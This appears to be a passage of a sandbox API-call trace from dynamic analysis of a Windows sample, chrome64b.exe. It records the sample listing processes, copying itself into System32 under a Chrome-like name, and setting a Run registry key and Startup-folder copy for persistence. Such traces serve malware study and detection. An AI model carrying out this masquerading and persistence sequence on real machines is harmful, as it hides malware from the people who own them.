[0030.254] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.254] lstrlenW (lpString="svchost.exe") returned 11 [0030.255] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.255] lstrlenW (lpString="svchost.exe") returned 11 [0030.255] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0030.256] lstrlenW (lpString="dwm.exe") returned 7 [0030.256] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0030.257] lstrlenW (lpString="explorer.exe") returned 12 [0030.257] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0030.257] lstrlenW (lpString="spoolsv.exe") returned 11 [0030.257] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0030.258] lstrlenW (lpString="taskhost.exe") returned 12 [0030.258] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.259] lstrlenW (lpString="svchost.exe") returned 11 [0030.259] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0030.260] lstrlenW (lpString="taskeng.exe") returned 11 [0030.260] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0030.260] lstrlenW (lpString="taskhost.exe") returned 12 [0030.260] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0030.261] lstrlenW (lpString="obligations-breath.exe") returned 22 [0030.261] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0030.262] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0030.262] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0030.262] lstrlenW (lpString="achieving.exe") returned 13 [0030.263] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0030.263] lstrlenW (lpString="venice.exe") returned 10 [0030.263] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0030.264] lstrlenW (lpString="owns.exe") returned 8 [0030.264] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0030.265] lstrlenW (lpString="faster momentum.exe") returned 19 [0030.265] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0030.266] lstrlenW (lpString="vital_reasons.exe") returned 17 [0030.266] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0030.266] lstrlenW (lpString="everyone.exe") returned 12 [0030.266] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0030.267] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0030.267] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0030.268] lstrlenW (lpString="bored_excluded.exe") returned 18 [0030.268] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0030.268] lstrlenW (lpString="mothers.exe") returned 11 [0030.269] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0030.269] lstrlenW (lpString="career-fed.exe") returned 14 [0030.269] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0030.270] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0030.270] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0030.271] lstrlenW (lpString="initial_utilization.exe") returned 23 [0030.271] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0030.271] lstrlenW (lpString="cf-represent.exe") returned 16 [0030.271] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0030.272] lstrlenW (lpString="tue.exe") returned 7 [0030.272] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0030.273] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0030.273] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0030.274] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0030.274] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0030.274] lstrlenW (lpString="stuff_event.exe") returned 15 [0030.274] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0030.275] lstrlenW (lpString="keywords-copies.exe") returned 19 [0030.275] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0030.276] lstrlenW (lpString="lap.exe") returned 7 [0030.276] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0030.276] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0030.276] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0030.277] lstrlenW (lpString="dllhost.exe") returned 11 [0030.277] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0030.278] lstrlenW (lpString="dllhost.exe") returned 11 [0030.278] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0030.279] lstrlenW (lpString="chrome64b.exe") returned 13 [0030.279] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 0 [0030.279] CloseHandle (hObject=0xe0) returned 1 [0030.279] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625278 | out: hHeap=0x5f0000) returned 1 [0030.280] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6252c0 | out: hHeap=0x5f0000) returned 1 [0030.280] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625308 | out: hHeap=0x5f0000) returned 1 [0030.280] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625328 | out: hHeap=0x5f0000) returned 1 [0030.280] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625370 | out: hHeap=0x5f0000) returned 1 [0030.280] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x624a10 | out: hHeap=0x5f0000) returned 1 [0030.280] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x604728 | out: hHeap=0x5f0000) returned 1 [0030.280] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x604760 | out: hHeap=0x5f0000) returned 1 [0030.280] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x604358 | out: hHeap=0x5f0000) returned 1 [0030.280] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x604380 | out: hHeap=0x5f0000) returned 1 [0030.280] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6047a8 | out: hHeap=0x5f0000) returned 1 [0030.280] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6043a8 | out: hHeap=0x5f0000) returned 1 [0030.280] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x62b438 [0030.280] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x63b440 [0030.281] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a10 [0030.281] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a10, Size=0x20) returned 0x6043a8 [0030.281] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6043a8, Size=0x40) returned 0x6269b8 [0030.281] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a10 [0030.281] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a10, Size=0x20) returned 0x6043a8 [0030.281] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a10 [0030.281] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a10, Size=0x20) returned 0x604380 [0030.281] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a10 [0030.281] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a10, Size=0x20) returned 0x604358 [0030.281] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604358, Size=0x40) returned 0x626a00 [0030.281] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x63b440, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\chrome64b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\chrome64b.exe")) returned 0x33 [0030.281] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x64b448 [0030.281] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x65b450 [0030.282] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a10 [0030.282] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a10, Size=0x20) returned 0x604358 [0030.282] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604358, Size=0x40) returned 0x626a48 [0030.282] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x626a48, Size=0x80) returned 0x625278 [0030.282] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x625278, Size=0x100) returned 0x627bc0 [0030.282] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0030.282] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x627bc0 | out: hHeap=0x5f0000) returned 1 [0030.282] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\chrome64b.exe", lpDst=0x64b448, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\chrome64b.exe") returned 0x22 [0030.282] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x65b450 | out: hHeap=0x5f0000) returned 1 [0030.282] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64b448 | out: hHeap=0x5f0000) returned 1 [0030.282] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x100000) returned 0x2050020 [0030.282] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a10 [0030.282] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a10, Size=0x20) returned 0x604358 [0030.283] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a10 [0030.283] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a10, Size=0x20) returned 0x625940 [0030.283] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0030.283] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0030.283] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0030.283] lstrlenW (lpString="kernel32.dll") returned 12 [0030.283] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x604358 | out: hHeap=0x5f0000) returned 1 [0030.283] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0030.283] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625940 | out: hHeap=0x5f0000) returned 1 [0030.283] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\chrome64b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0030.283] CreateFileW (lpFileName="C:\\Windows\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0030.284] ReadFile (in: hFile=0xe0, lpBuffer=0x2050020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2050020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0030.299] WriteFile (in: hFile=0xe4, lpBuffer=0x2050020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2050020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0030.302] ReadFile (in: hFile=0xe0, lpBuffer=0x2050020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2050020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0030.302] CloseHandle (hObject=0xe4) returned 1 [0030.308] CloseHandle (hObject=0xe0) returned 1 [0030.308] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a10 [0030.308] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a10, Size=0x20) returned 0x625940 [0030.308] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a10 [0030.308] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a10, Size=0x20) returned 0x6258f0 [0030.308] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0030.309] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0030.309] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0030.309] lstrlenW (lpString="kernel32.dll") returned 12 [0030.309] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6258f0 | out: hHeap=0x5f0000) returned 1 [0030.309] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0030.309] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625940 | out: hHeap=0x5f0000) returned 1 [0030.309] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x2050020 | out: hHeap=0x5f0000) returned 1 [0030.315] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a10 [0030.315] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a10, Size=0x20) returned 0x625940 [0030.315] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x625940, Size=0x40) returned 0x626a48 [0030.315] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x626a48, Size=0x80) returned 0x64b460 [0030.315] lstrlenW (lpString="C:\\Windows\\System32\\chrome64b.exe") returned 33 [0030.315] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0030.315] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x5c) returned 0x625278 [0030.315] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0030.315] RegSetValueExW (in: hKey=0xe0, lpValueName="chrome64b.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\chrome64b.exe", cbData=0x42 | out: lpData="C:\\Windows\\System32\\chrome64b.exe") returned 0x0 [0030.316] RegCloseKey (hKey=0xe0) returned 0x0 [0030.316] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625278 | out: hHeap=0x5f0000) returned 1 [0030.316] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0030.316] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64b460 | out: hHeap=0x5f0000) returned 1 [0030.316] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x64d448 [0030.316] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x65d450 [0030.316] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a10 [0030.316] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a10, Size=0x20) returned 0x625940 [0030.316] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x625940, Size=0x40) returned 0x626a48 [0030.316] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x626a48, Size=0x80) returned 0x64b460 [0030.316] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x64b460, Size=0x100) returned 0x627bc0 [0030.316] lstrlenW (lpString="") returned 0 [0030.316] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0030.316] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8c) returned 0x627cc8 [0030.316] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0030.316] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x65d450, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x65d450*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0030.317] RegCloseKey (hKey=0xe0) returned 0x0 [0030.317] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x627cc8 | out: hHeap=0x5f0000) returned 1 [0030.317] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0030.317] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8c) returned 0x627cc8 [0030.317] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0030.317] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x65d450, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0030.317] RegCloseKey (hKey=0xe4) returned 0x0 [0030.317] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x627cc8 | out: hHeap=0x5f0000) returned 1 [0030.317] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0030.317] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0030.317] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x627bc0 | out: hHeap=0x5f0000) returned 1 [0030.317] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe", lpDst=0x64d448, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe") returned 0x6a [0030.317] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x65d450 | out: hHeap=0x5f0000) returned 1 [0030.317] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64d448 | out: hHeap=0x5f0000) returned 1 [0030.317] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x100000) returned 0x2050020 [0030.318] RtlAllocateHeap 